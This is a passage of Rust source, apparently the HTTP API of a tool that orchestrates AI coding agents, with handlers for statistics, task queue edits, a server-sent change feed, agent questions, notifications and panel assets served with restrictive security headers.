4487#[derive(Debug, Serialize)]
4493struct AdvisorStatsView {
4494 agent: String,
4495 seated: usize,
4496 proposed: usize,
4497 absent: usize,
4498 faint: usize,
4499 strong: usize,
4500 reflection_rate: Option<RateView>,
4501}
4502
4503impl From<&stats::AdvisorStats> for AdvisorStatsView {
4504 fn from(a: &stats::AdvisorStats) -> Self {
4505 Self {
4506 agent: a.agent.clone(),
4507 seated: a.seated,
4508 proposed: a.proposed,
4509 absent: a.absent,
4510 faint: a.faint,
4511 strong: a.strong,
4512 reflection_rate: RateView::of(a.strong, a.proposed),
4513 }
4514 }
4515}
4516
4517#[derive(Debug, Serialize)]
4519struct E2eStatsView {
4520 rounds: usize,
4521 failures: usize,
4522 sole_detections: usize,
4523 deferred: usize,
4524 sole_rate: Option<RateView>,
4525}
4526
4527impl From<&stats::E2eStats> for E2eStatsView {
4528 fn from(e: &stats::E2eStats) -> Self {
4529 Self {
4530 rounds: e.rounds,
4531 failures: e.failures,
4532 sole_detections: e.sole_detections,
4533 deferred: e.deferred,
4534 sole_rate: RateView::of(e.sole_detections, e.failures),
4535 }
4536 }
4537}
4538
4539#[derive(Debug, Serialize)]
4547struct ReleaseBumpStatsView {
4548 merged: usize,
4549 recorded: usize,
4550 pr_opened: usize,
4551 automerge_enabled: usize,
4552 merged_directly: usize,
4553 needs_attention: usize,
4554 clean: usize,
4555 coverage_rate: Option<RateView>,
4556 automerge_rate: Option<RateView>,
4557 attention_rate: Option<RateView>,
4558}
4559
4560impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4561 fn from(b: &stats::ReleaseBumpStats) -> Self {
4562 Self {
4563 merged: b.merged,
4564 recorded: b.recorded,
4565 pr_opened: b.pr_opened,
4566 automerge_enabled: b.automerge_enabled,
4567 merged_directly: b.merged_directly,
4568 needs_attention: b.needs_attention,
4569 clean: b.clean(),
4570 coverage_rate: RateView::of(b.recorded, b.merged),
4571 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4572 attention_rate: RateView::of(b.needs_attention, b.recorded),
4573 }
4574 }
4575}
4576
4577#[derive(Debug, Serialize)]
4579struct TaskCountsView {
4580 queued: usize,
4581 running: usize,
4582 done: usize,
4583 failed: usize,
4584 held: usize,
4585 blocked: usize,
4586}
4587
4588impl From<crate::queue::TaskCounts> for TaskCountsView {
4589 fn from(c: crate::queue::TaskCounts) -> Self {
4590 Self {
4591 queued: c.queued,
4592 running: c.running,
4593 done: c.done,
4594 failed: c.failed,
4595 held: c.held,
4596 blocked: c.blocked,
4597 }
4598 }
4599}
4600
4601#[derive(Debug, Serialize)]
4607struct RepoSummaryView {
4608 repo: String,
4611 name: String,
4613 runs: usize,
4614 completion_rate: Option<RateView>,
4615}
4616
4617impl From<&stats::RepoStats> for RepoSummaryView {
4618 fn from(r: &stats::RepoStats) -> Self {
4619 let t = &r.stats.totals;
4620 Self {
4621 repo: r.repo.to_string_lossy().into_owned(),
4622 name: r.name.clone(),
4623 runs: t.runs,
4624 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4625 }
4626 }
4627}
4628
4629#[derive(Debug, Serialize)]
4635struct StatsView {
4636 totals: StatsTotalsView,
4637 agents: Vec<AgentStatsView>,
4639 reviewers: Vec<ReviewerStatsView>,
4641 advisors: Vec<AdvisorStatsView>,
4643 e2e: E2eStatsView,
4644 release_bumps: ReleaseBumpStatsView,
4645 queue: TaskCountsView,
4646 runs_unreadable: usize,
4656 repos: Vec<RepoSummaryView>,
4660 daily: Vec<DailyStatsView>,
4665 repo: Option<String>,
4669}
4670
4671#[derive(Debug, Serialize)]
4673struct DailyStatsView {
4674 date: String,
4676 runs: usize,
4677 merged: usize,
4678 ready: usize,
4679 other: usize,
4680 completion_rate: Option<RateView>,
4682}
4683
4684impl From<&stats::DayBucket> for DailyStatsView {
4685 fn from(b: &stats::DayBucket) -> Self {
4686 Self {
4687 date: b.date.to_string(),
4688 runs: b.runs,
4689 merged: b.merged,
4690 ready: b.ready,
4691 other: b.other,
4692 completion_rate: RateView::of(b.merged + b.ready, b.runs),
4693 }
4694 }
4695}
4696
4697const STATS_DAILY_DAYS: usize = 30;
4699
4700#[derive(Debug, Default, Deserialize)]
4709#[serde(default)]
4710struct StatsQuery {
4711 repo: Option<String>,
4712}
4713
4714async fn stats_get(
4721 State(ui): State<Arc<Ui>>,
4722 Query(q): Query<StatsQuery>,
4723) -> ApiResult<Json<StatsView>> {
4724 blocking(move || {
4725 let states: Vec<RunState> = run_ids(&ui.runs)
4726 .into_iter()
4727 .filter_map(|id| read_run(&ui.runs, &id).ok())
4728 .collect();
4729 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4730 .iter()
4731 .map(RepoSummaryView::from)
4732 .collect();
4733 let mut scoped: Vec<&RunState> = states.iter().collect();
4734 let collected = match &q.repo {
4735 Some(repo) => {
4736 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4737 if filtered.is_empty() {
4738 return Err(ApiError::not_found(format!(
4739 "no runs recorded against repo `{repo}`"
4740 )));
4741 }
4742 scoped = filtered.clone();
4743 stats::collect_refs(filtered)
4744 }
4745 None => stats::collect(&states),
4746 };
4747 let daily = stats::daily(
4748 scoped,
4749 jiff::Zoned::now().date(),
4750 &jiff::tz::TimeZone::system(),
4751 STATS_DAILY_DAYS,
4752 );
4753 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4754 Ok(Json(StatsView {
4755 totals: StatsTotalsView::from(&collected.totals),
4756 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4757 reviewers: collected
4758 .reviewers
4759 .iter()
4760 .map(ReviewerStatsView::from)
4761 .collect(),
4762 advisors: collected
4763 .advisors
4764 .iter()
4765 .map(AdvisorStatsView::from)
4766 .collect(),
4767 e2e: E2eStatsView::from(&collected.e2e),
4768 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4769 queue: TaskCountsView::from(queue_counts),
4770 runs_unreadable: runs_unreadable(&ui.runs),
4771 repos,
4772 daily: daily.iter().map(DailyStatsView::from).collect(),
4773 repo: q.repo.clone(),
4774 }))
4775 })
4776 .await
4777}
4778
4779#[derive(Debug, Default, Deserialize)]
4782#[serde(default, deny_unknown_fields)]
4783struct HoldBody {
4784 reason: Option<String>,
4785}
4786
4787async fn queue_hold(
4788 State(ui): State<Arc<Ui>>,
4789 Path(id): Path<String>,
4790 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4791) -> ApiResult<Json<TaskView>> {
4792 let body = match body {
4796 Ok(Json(body)) => body,
4797 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4798 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4799 };
4800 let reason = body.reason.filter(|r| !r.trim().is_empty());
4801 mutate(ui, id, move |t| {
4802 t.hold_manual(reason.clone());
4803 Ok(())
4804 })
4805 .await
4806}
4807
4808async fn queue_release(
4809 State(ui): State<Arc<Ui>>,
4810 Path(id): Path<String>,
4811) -> ApiResult<Json<TaskView>> {
4812 mutate(ui, id, |t| {
4813 t.release();
4814 Ok(())
4815 })
4816 .await
4817}
4818
4819#[derive(Debug, Deserialize)]
4821#[serde(deny_unknown_fields)]
4822struct PriorityBody {
4823 priority: i32,
4824}
4825
4826async fn queue_priority(
4832 State(ui): State<Arc<Ui>>,
4833 Path(id): Path<String>,
4834 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4835) -> ApiResult<Json<TaskView>> {
4836 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4837 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4838}
4839
4840#[derive(Debug, Deserialize)]
4842#[serde(deny_unknown_fields)]
4843struct EditBody {
4844 title: String,
4845 instruction: String,
4846 #[serde(default)]
4849 force: bool,
4850}
4851
4852async fn queue_edit(
4856 State(ui): State<Arc<Ui>>,
4857 Path(id): Path<String>,
4858 body: std::result::Result<Json<EditBody>, JsonRejection>,
4859) -> ApiResult<Json<TaskView>> {
4860 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4861 let mut judged: Option<(String, PathBuf)> = None;
4865 if !body.force {
4866 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4867 let (id, text) = (id.clone(), body.instruction.clone());
4868 let (seen, hits) = blocking(move || {
4869 let id = resolve_task(&queue, &id)?;
4870 let t = queue.get(&id)?;
4871 if text == t.instruction {
4872 return Ok((None, Vec::new()));
4873 }
4874 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4875 Ok((Some((t.instruction, t.repo)), hits))
4876 })
4877 .await?;
4878 if let Some((_, repo)) = &seen {
4879 let cfg = crate::config::Config::discover(repo, None)
4880 .ok()
4881 .map(|(c, _)| c);
4882 let screened =
4883 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4884 .await
4885 .map_err(|dup| {
4886 ApiError::conflict(dup.render(
4887 "Nothing was saved. If it is not a duplicate, repeat the request \
4888 with \"force\": true.",
4889 ))
4890 })?;
4891 if let crate::dupes::Screened::Unjudged(why) = screened {
4892 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
4893 }
4894 }
4895 judged = seen;
4896 }
4897 let force = body.force;
4898 mutate(ui, id, move |t| {
4899 if !force && body.instruction != t.instruction {
4900 match &judged {
4901 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4902 _ => {
4903 anyhow::bail!("the task changed while it was being checked; repeat the request")
4904 }
4905 }
4906 }
4907 t.edit(body.title.clone(), body.instruction.clone())
4908 })
4909 .await
4910}
4911
4912async fn queue_done(
4920 State(ui): State<Arc<Ui>>,
4921 Path(id): Path<String>,
4922) -> ApiResult<Json<TaskView>> {
4923 let home = ui.home.clone();
4924 mutate(ui, id, move |t| {
4925 t.succeed();
4926 crate::daemon::supersede_prior_runs(t, &home);
4934 Ok(())
4935 })
4936 .await
4937}
4938
4939async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4947 blocking(move || {
4948 let id = resolve_task(&ui.queue, &id)?;
4949 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4950 ui.queue
4951 .remove(&id, in_flight, &ui.questions)
4952 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4953 Ok(StatusCode::NO_CONTENT)
4954 })
4955 .await
4956}
4957
4958async fn mutate(
4967 ui: Arc<Ui>,
4968 id: String,
4969 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4970) -> ApiResult<Json<TaskView>> {
4971 blocking(move || {
4972 let id = resolve_task(&ui.queue, &id)?;
4973 let _claim = ui.queue.claim(&id).map_err(|e| {
4978 ApiError::conflict(format!(
4979 "{e:#} - a daemon is running this task, so it cannot be \
4980 changed from here yet"
4981 ))
4982 })?;
4983 let mut task = ui.queue.get(&id)?;
4984 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4985 Ok(dup) => ApiError::conflict(dup.render(
4986 "Nothing was saved. If it is not a duplicate, repeat the request with \
4987 \"force\": true.",
4988 )),
4989 Err(e) => ApiError::bad_request_from(e),
4990 })?;
4991 ui.queue.put(&mut task)?;
4992 Ok(Json(TaskView::from(task)))
4993 })
4994 .await
4995}
4996
4997async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5005 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5006 tokio::spawn(async move {
5007 let mut ticker = tokio::time::interval(POLL);
5008 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5009 let mut stamps: Option<[Stamps; 3]> = None;
5010 loop {
5011 ticker.tick().await;
5014 let state = Arc::clone(&ui);
5015 let revisions = tokio::task::spawn_blocking(move || {
5016 let stamps = [
5017 store_stamps(state.queue.root(), false),
5018 store_stamps(&state.runs, true),
5019 store_stamps(state.talks.root(), false),
5020 ];
5021 let revisions = (
5022 stamps_revision(&stamps[0]),
5023 stamps_revision(&stamps[1]),
5024 state.questions.revision(),
5025 stamps_revision(&stamps[2]),
5026 state.notices.revision(),
5027 state.lock_loop().rev,
5031 );
5032 (revisions, stamps)
5033 })
5034 .await;
5035 let Ok((revisions, next_stamps)) = revisions else {
5036 break;
5037 };
5038 if last == Some(revisions) {
5039 continue;
5040 }
5041 let mut payload = serde_json::json!({
5042 "queue_rev": revisions.0,
5043 "runs_rev": revisions.1,
5044 "questions_rev": revisions.2,
5045 "talks_rev": revisions.3,
5046 "notifications_rev": revisions.4,
5047 "loop_rev": revisions.5,
5048 });
5049 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5050 for (index, (key, rev)) in [
5051 ("queue_delta", base.0),
5052 ("runs_delta", base.1),
5053 ("talks_delta", base.3),
5054 ]
5055 .into_iter()
5056 .enumerate()
5057 {
5058 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5059 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5061 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5062 }
5063 }
5064 }
5065 last = Some(revisions);
5066 stamps = Some(next_stamps);
5067 let Ok(event) = Event::default().event("change").json_data(payload) else {
5069 break;
5070 };
5071 if tx.send(event).await.is_err() {
5072 break;
5073 }
5074 }
5075 });
5076 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5077 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5078}
5079
5080type Stamps = HashMap<String, (u128, u64)>;
5081
5082fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5084 std::fs::read_dir(root)
5085 .into_iter()
5086 .flatten()
5087 .flatten()
5088 .filter_map(|entry| {
5089 let path = if runs {
5090 entry.path().join("run.json")
5091 } else {
5092 entry.path()
5093 };
5094 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5095 return None;
5096 }
5097 let metadata = path.metadata().ok()?;
5098 let modified = metadata
5099 .modified()
5100 .ok()?
5101 .duration_since(std::time::UNIX_EPOCH)
5102 .ok()?;
5103 let id = if runs {
5104 entry.file_name().to_string_lossy().into_owned()
5105 } else {
5106 path.file_stem()?.to_string_lossy().into_owned()
5107 };
5108 Some((id, (modified.as_nanos(), metadata.len())))
5109 })
5110 .collect()
5111}
5112
5113#[derive(Debug, Serialize)]
5114struct Delta {
5115 base: u64,
5116 changed: Vec<String>,
5117 removed: Vec<String>,
5118}
5119
5120fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5121 let mut changed: Vec<_> = next
5122 .iter()
5123 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5124 .map(|(id, _)| id.clone())
5125 .collect();
5126 let mut removed: Vec<_> = previous
5127 .keys()
5128 .filter(|id| !next.contains_key(*id))
5129 .cloned()
5130 .collect();
5131 changed.sort_unstable();
5132 removed.sort_unstable();
5133 Delta {
5134 base,
5135 changed,
5136 removed,
5137 }
5138}
5139
5140fn runs_revision(runs: &FsPath) -> u64 {
5147 stamps_revision(&store_stamps(runs, true))
5148}
5149
5150fn stamps_revision(stamps: &Stamps) -> u64 {
5154 use std::hash::{Hash as _, Hasher as _};
5155 if stamps.is_empty() {
5156 return 0;
5157 }
5158 let mut entries: Vec<_> = stamps.iter().collect();
5159 entries.sort_unstable();
5160 let mut hasher = std::hash::DefaultHasher::new();
5161 entries.hash(&mut hasher);
5162 hasher.finish().max(1)
5163}
5164
5165fn run_ids(runs: &FsPath) -> Vec<String> {
5171 let mut ids: Vec<String> = std::fs::read_dir(runs)
5172 .into_iter()
5173 .flatten()
5174 .flatten()
5175 .filter(|e| e.path().join("run.json").is_file())
5176 .map(|e| e.file_name().to_string_lossy().into_owned())
5177 .collect();
5178 ids.sort_unstable_by(|a, b| b.cmp(a));
5180 ids
5181}
5182
5183fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5185 let path = runs.join(id).join("run.json");
5186 let body =
5187 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5188 let state: RunState =
5189 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5190 run::migrate_schema(state)
5195}
5196
5197#[must_use]
5205pub fn runs_unreadable(runs: &FsPath) -> usize {
5206 run_ids(runs)
5207 .into_iter()
5208 .filter(|id| read_run(runs, id).is_err())
5209 .count()
5210}
5211
5212fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5214 if runs.join(id).join("run.json").is_file() {
5215 return Ok(id.to_owned());
5216 }
5217 pick(run_ids(runs), id, "run")
5218}
5219
5220fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5222 if queue.path_of(id).is_file() {
5223 return Ok(id.to_owned());
5224 }
5225 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5226}
5227
5228#[derive(Debug, Serialize)]
5239struct QuestionView {
5240 #[serde(flatten)]
5241 question: Question,
5242 detail_md: Vec<md::Node>,
5243 thread_bodies_md: Vec<Vec<md::Node>>,
5245 waiting_on_agent: bool,
5255 holder: Option<&'static str>,
5259 deputies_enabled: bool,
5263 run_is_task: bool,
5266 origin_chat: Option<String>,
5271}
5272
5273impl QuestionView {
5274 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5278 let base = md::ImageBase::QuestionPanel {
5279 id: question.id.clone(),
5280 };
5281 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5282 Self {
5283 detail_md: md::to_nodes(&question.detail, &base),
5284 thread_bodies_md: question
5285 .thread
5286 .iter()
5287 .map(|t| md::to_nodes(&t.body, &base))
5288 .collect(),
5289 waiting_on_agent: question.waiting_on_agent(),
5290 holder,
5291 deputies_enabled,
5292 run_is_task: question.run_names_task(),
5293 origin_chat: None,
5294 question,
5295 }
5296 }
5297
5298 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5300 self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5301 self
5302 }
5303}
5304
5305fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5309 Config::discover(repo, None).ok().map(|(c, _)| c)
5310}
5311
5312fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5314 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5315}
5316
5317fn question_views(
5320 qs: Vec<Question>,
5321 store: &ask::Questions,
5322 load: impl FnOnce() -> Option<Config>,
5323) -> Vec<QuestionView> {
5324 if qs.is_empty() {
5325 return Vec::new();
5326 }
5327 let cfg = load();
5328 qs.into_iter()
5329 .map(|q| {
5330 let on = deputies_enabled(cfg.as_ref(), &q);
5331 QuestionView::of(q, store, on)
5332 })
5333 .collect()
5334}
5335
5336fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5346 if !q.status.open() {
5347 return None;
5348 }
5349 if q.cwd.is_none() && q.deputy.is_none() {
5350 return crate::deputy::kind_of(q).map(|_| "nobody");
5351 }
5352 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5353 Some(_) if q.deputy.is_some() => "deputy",
5354 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5355 Some(_) => "asker",
5356 None => "nobody",
5357 })
5358}
5359
5360async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5366 blocking(move || {
5367 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5368 Ok(Json(
5369 question_views(ui.questions.list(), &ui.questions, || {
5370 deputy_config(&ui.repo)
5371 })
5372 .into_iter()
5373 .map(|v| v.with_origin(&tasks, &talks))
5374 .collect(),
5375 ))
5376 })
5377 .await
5378}
5379
5380async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5383 blocking(move || {
5384 let items = ui.notices.list();
5385 let unread = items.iter().filter(|n| n.unread()).count();
5386 Ok(Json(
5387 serde_json::json!({ "unread": unread, "items": items }),
5388 ))
5389 })
5390 .await
5391}
5392
5393fn notice_error(e: anyhow::Error) -> ApiError {
5394 ApiError::not_found(format!("{e:#}"))
5397}
5398
5399async fn notification_read(
5401 State(ui): State<Arc<Ui>>,
5402 Path(id): Path<String>,
5403) -> ApiResult<Json<Notice>> {
5404 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5405}
5406
5407async fn notification_dismiss(
5409 State(ui): State<Arc<Ui>>,
5410 Path(id): Path<String>,
5411) -> ApiResult<Json<Notice>> {
5412 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5413}
5414
5415async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5417 blocking(move || {
5418 let changed = ui.notices.mark_all_read()?;
5419 Ok(Json(serde_json::json!({ "marked": changed })))
5420 })
5421 .await
5422}
5423
5424#[derive(Debug, Default, Deserialize)]
5430#[serde(default, deny_unknown_fields)]
5431struct NewAnswer {
5432 choice: Option<String>,
5433 text: Option<String>,
5434}
5435
5436async fn question_answer(
5437 State(ui): State<Arc<Ui>>,
5438 Path(id): Path<String>,
5439 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5440) -> ApiResult<Json<QuestionView>> {
5441 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5442 let answer = match (body.choice, body.text) {
5443 (Some(c), None) => Answer::Choice(c),
5444 (None, Some(t)) => Answer::Text(t),
5445 (Some(_), Some(_)) => {
5446 return Err(ApiError::bad_request(
5447 "send either `choice` or `text`, not both",
5448 ));
5449 }
5450 (None, None) => {
5451 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5452 }
5453 };
5454
5455 blocking(move || {
5456 let id = resolve_question(&ui.questions, &id)?;
5457 let q = ui
5458 .questions
5459 .get(&id)
5460 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5461 if !q.status.open() {
5462 return Err(ApiError::conflict(format!(
5466 "question {} is already {}",
5467 q.short(),
5468 q.status.as_str()
5469 )));
5470 }
5471 let (q, ()) = ui
5475 .questions
5476 .update(&q.id, |r| r.answer(answer))
5477 .map_err(ApiError::bad_request_from)?;
5478 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5479 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5480 Ok(Json(
5481 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5482 ))
5483 })
5484 .await
5485}
5486
5487#[derive(Debug, Deserialize)]
5489#[serde(deny_unknown_fields)]
5490struct NewSay {
5491 body: String,
5492}
5493
5494async fn question_say(
5504 State(ui): State<Arc<Ui>>,
5505 Path(id): Path<String>,
5506 body: std::result::Result<Json<NewSay>, JsonRejection>,
5507) -> ApiResult<Json<QuestionView>> {
5508 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5509 blocking(move || {
5510 let id = resolve_question(&ui.questions, &id)?;
5511 let q = ui
5512 .questions
5513 .get(&id)
5514 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5515 if !q.status.open() {
5516 return Err(ApiError::conflict(format!(
5520 "question {} is already {}",
5521 q.short(),
5522 q.status.as_str()
5523 )));
5524 }
5525 let (q, ()) = ui
5528 .questions
5529 .update(&q.id, |r| r.say(body.body))
5530 .map_err(ApiError::bad_request_from)?;
5531 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5532 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5533 Ok(Json(
5534 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5535 ))
5536 })
5537 .await
5538}
5539
5540async fn question_consult(
5549 State(ui): State<Arc<Ui>>,
5550 Path(id): Path<String>,
5551) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5552 let (view, reclaimed) = blocking({
5553 let ui = Arc::clone(&ui);
5554 move || {
5555 let id = resolve_question(&ui.questions, &id)?;
5556 let q = ui
5557 .questions
5558 .get(&id)
5559 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5560 if !q.status.open() {
5561 return Err(ApiError::conflict(format!(
5562 "question {} is already {}",
5563 q.short(),
5564 q.status.as_str()
5565 )));
5566 }
5567 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5568 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5569 return Err(ApiError::conflict(format!(
5570 "question {} has no open chat to ask",
5571 q.short()
5572 )));
5573 };
5574 let cfg = if q.consult.is_none() {
5578 Some(Config::discover(&talk.repo, None)?.0)
5579 } else {
5580 None
5581 };
5582 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5583 let claim = if fresh {
5584 match ui.begin_queued_talk_turn(&talk.id)? {
5585 Some(turn_guard) => {
5586 let talk = ui.talks.get(&talk.id)?;
5587 let cfg = match cfg {
5588 Some(cfg) => cfg,
5589 None => Config::discover(&talk.repo, None)?.0,
5590 };
5591 Some((talk, cfg, turn_guard))
5592 }
5593 None => None,
5594 }
5595 } else {
5596 None
5597 };
5598 let q = ui.questions.get(&q.id)?;
5599 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5600 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5601 Ok((view, claim))
5602 }
5603 })
5604 .await?;
5605 if let Some((talk, cfg, turn_guard)) = reclaimed {
5606 let talks = ui.talks.clone();
5607 let id = talk.id.clone();
5608 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5609 }
5610 Ok((StatusCode::ACCEPTED, Json(view)))
5611}
5612
5613fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5615 if store.path_of(id).is_file() {
5616 return Ok(id.to_owned());
5617 }
5618 pick(
5619 store.list().into_iter().map(|q| q.id).collect(),
5620 id,
5621 "question",
5622 )
5623}
5624
5625async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5640 blocking(move || {
5641 let id = resolve_question(&ui.questions, &id)?;
5642 let Some(html) = ui.questions.panel_html(&id) else {
5643 return Err(ApiError::not_found(format!("question {id} has no panel")));
5644 };
5645 Ok(panel_response(
5646 "text/html; charset=utf-8",
5647 false,
5648 html.into_bytes(),
5649 ))
5650 })
5651 .await
5652}
5653
5654async fn question_asset(
5682 State(ui): State<Arc<Ui>>,
5683 Path((id, name)): Path<(String, String)>,
5684) -> ApiResult<Response> {
5685 if !crate::ask::valid_asset_name(&name) {
5688 return Err(ApiError::bad_request(format!(
5689 "`{name}` is not a usable asset name"
5690 )));
5691 }
5692 blocking(move || {
5693 let id = resolve_question(&ui.questions, &id)?;
5694 let asset = ui
5695 .questions
5696 .panel_asset(&id, &name)
5697 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5698 let Some(bytes) = asset else {
5699 return Err(ApiError::not_found(format!(
5700 "question {id} has no asset `{name}`"
5701 )));
5702 };
5703 Ok(panel_response(
5704 asset_content_type(&name),
5705 is_svg(&name),
5706 bytes,
5707 ))
5708 })
5709 .await
5710}
5711
5712fn asset_content_type(name: &str) -> &'static str {
5725 match extension(name).as_deref() {
5726 Some("png") => "image/png",
5727 Some("jpg" | "jpeg") => "image/jpeg",
5728 Some("gif") => "image/gif",
5729 Some("webp") => "image/webp",
5730 Some("svg") => "image/svg+xml",
5731 Some("css") => "text/css; charset=utf-8",
5732 Some("txt") => "text/plain; charset=utf-8",
5733 _ => "application/octet-stream",
5734 }
5735}
5736
5737fn is_svg(name: &str) -> bool {
5740 extension(name).as_deref() == Some("svg")
5741}
5742
5743fn extension(name: &str) -> Option<String> {
5745 name.rsplit_once('.')
5746 .map(|(_, ext)| ext.to_ascii_lowercase())
5747}
5748
5749fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5766 let mut res = (
5767 [
5768 (header::CONTENT_TYPE, content_type),
5769 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5770 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5771 (header::REFERRER_POLICY, "no-referrer"),
5772 ],
5773 body,
5774 )
5775 .into_response();
5776 if download {
5777 res.headers_mut().insert(
5778 header::CONTENT_DISPOSITION,
5779 HeaderValue::from_static("attachment"),
5780 );
5781 }
5782 res
5783}
5784
5785#[derive(Debug, Serialize)]
5791struct TalkView {
5792 #[serde(flatten)]
5793 talk: Talk,
5794 turn_bodies_md: Vec<Vec<md::Node>>,
5795 thinking: bool,
5803 context: talk::ContextUsage,
5807}
5808
5809impl TalkView {
5810 fn new(talk: Talk, thinking: bool) -> Self {
5813 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5814 Self::with_config(talk, thinking, cfg.as_ref())
5815 }
5816
5817 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5820 let context = talk::context_usage(&talk, cfg);
5821 let turn_bodies_md = talk
5822 .turns
5823 .iter()
5824 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5825 .collect();
5826 Self {
5827 turn_bodies_md,
5828 thinking,
5829 context,
5830 talk,
5831 }
5832 }
5833}
5834
5835#[derive(Debug, Serialize)]
5840struct TalkDetailView {
5841 #[serde(flatten)]
5842 view: TalkView,
5843 tasks: Vec<TaskView>,
5844 roster: Vec<RosterEntry>,
5847}
5848
5849#[derive(Debug, Serialize)]
5851struct RosterEntry {
5852 id: String,
5853 kind: AgentKind,
5854 runnable: bool,
5856}
5857
5858async fn talks_list(
5863 State(ui): State<Arc<Ui>>,
5864 Query(q): Query<ListQuery>,
5865) -> ApiResult<Json<Vec<TalkView>>> {
5866 blocking(move || {
5867 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5868 Ok(Json(
5869 ui.talks
5870 .list()
5871 .into_iter()
5872 .filter(|talk| q.contains(&talk.id))
